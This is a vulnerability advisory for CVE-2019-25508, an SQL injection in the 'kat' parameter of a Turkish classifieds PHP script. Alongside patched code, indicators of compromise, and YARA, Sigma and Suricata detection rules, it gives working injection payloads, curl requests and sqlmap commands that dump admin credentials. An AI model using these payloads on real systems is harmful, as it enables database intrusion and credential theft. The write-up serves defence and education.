CVE-2019-25508

Executive Summary

CVE-2019-25508 is an unauthenticated SQL injection vulnerability in Jettweb Php Hazir Ilan Sitesi Scripti V2, a Turkish classifieds web application. The flaw resides in the kat parameter of the katgetir.php endpoint, allowing remote attackers to inject arbitrary SQL commands via GET requests. With no authentication required and a CVSS v3.1 base score of 9.8 (Critical), this vulnerability enables full database compromise, including extraction of user credentials, session data, and other sensitive information. No official patch has been released, and the vendor appears unresponsive. Public proof-of-concept code exists, making this a high-priority target for both red team exercises and blue team detection.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify or delete data.
• Availability (A): High (H) – Could lead to denial of service via SQL manipulation.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate remediation required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the kat GET parameter of katgetir.php. The application fails to sanitize or parameterize user input before embedding it into SQL queries. An attacker can craft a malicious kat value such as:

kat=1' UNION SELECT username,password FROM admin_users--

This payload breaks out of the original SQL string context and appends a UNION SELECT statement to retrieve sensitive columns from the admin_users table. The double dash (--) comments out the remainder of the original query, preventing syntax errors.

The injection point is likely in a query similar to:

SELECT * FROM categories WHERE kat_id = '$_GET['kat']'

Because the input is directly concatenated, any SQL syntax can be injected. The application returns results in JSON or HTML, making data extraction straightforward.

Vulnerable vs. Patched Code

Vulnerable Code (katgetir.php):

<?php
$kat = $_GET['kat'];
$query = "SELECT * FROM kategoriler WHERE kat_id = '$kat'";
$result = mysqli_query($conn, $query);
// output results
?>

Patched Code (hypothetical – no official patch):

<?php
$kat = intval($_GET['kat']); // force integer
$query = "SELECT * FROM kategoriler WHERE kat_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $kat);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// output results
?>

The patched version uses prepared statements with parameterized queries, completely eliminating SQL injection risk. Additionally, input is cast to an integer as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Jettweb Php Hazir Ilan Sitesi Scripti V2 running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/katgetir.php?kat=1"
   

2. Confirm SQL injection with a time-based payload:

   curl "http://target.com/katgetir.php?kat=1' AND SLEEP(5)-- -"
   

3. Extract database version:

   curl "http://target.com/katgetir.php?kat=1' UNION SELECT @@version,2,3-- -"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/katgetir.php?kat=1" --batch --dbs
   

5. Dump admin credentials:

   sqlmap -u "http://target.com/katgetir.php?kat=1" -D jettweb_db -T admin_users --dump
   

Expected Output: Database contents, including usernames and password hashes.

Blue Team (Defensive)

Detection & Response:

• Monitor for abnormal kat parameter values containing SQL keywords (UNION, SELECT, SLEEP, etc.).
• Deploy WAF rules to block SQL injection patterns.
• Enable database query logging to identify malicious queries.
• Isolate the vulnerable application if patching is not possible.

Honeypot Setup:

• Deploy a decoy instance of the vulnerable script to capture attacker payloads.
• Analyze captured payloads to update detection signatures.

Indicators of Compromise (IOCs)

Network IOCs:

• GET requests to /katgetir.php with kat parameter containing SQL metacharacters (', --, UNION, SELECT).
• Unusually long kat parameter values (over 50 characters).
• Multiple requests to katgetir.php within a short time window.

File IOCs:

• Suspicious entries in web server access logs (e.g., kat=1' UNION SELECT...).
• Database error logs showing SQL syntax errors from katgetir.php.

System IOCs:

• Unexpected database connections from the web server user.
• New files in web directories (potential webshell uploads via second-order injection).

Detection Engineering

YARA Rule

rule CVE_2019_25508_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25508 in Jettweb Php Hazir Ilan Sitesi Scripti V2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25508"
    strings:
        $s1 = "kat=" nocase
        $s2 = "'" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "SLEEP" nocase
        $s6 = "BENCHMARK" nocase
        $s7 = "OR 1=1" nocase
    condition:
        $s1 and ( #s2 >= 2 or $s3 or $s4 or $s5 or $s6 or $s7 )
}

Sigma Rule

title: CVE-2019-25508 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Jettweb Php Hazir Ilan Sitesi Scripti V2 katgetir.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "kat="
            - "'"
            - "UNION"
            - "SELECT"
            - "SLEEP"
            - "BENCHMARK"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in search terms (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25508 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/katgetir.php"; http_uri; content:"kat="; http_uri; pcre:"/(\x27|UNION|SELECT|SLEEP|BENCHMARK|OR\s+1=1)/i"; sid:1000001; rev:1; reference:cve,2019-25508; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application – If possible, take the vulnerable instance offline or restrict access via firewall rules.
2. Apply virtual patching – Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns in the kat parameter.
3. Input validation – Implement server-side validation to accept only numeric values for kat.

Long-Term Fix:

• Rewrite katgetir.php using prepared statements or parameterized queries (see patched code example).
• Upgrade to a supported, actively maintained classifieds script.
• Conduct a full security audit of the application.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for suspicious kat parameter values.
• Rotate all database credentials and application secrets.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst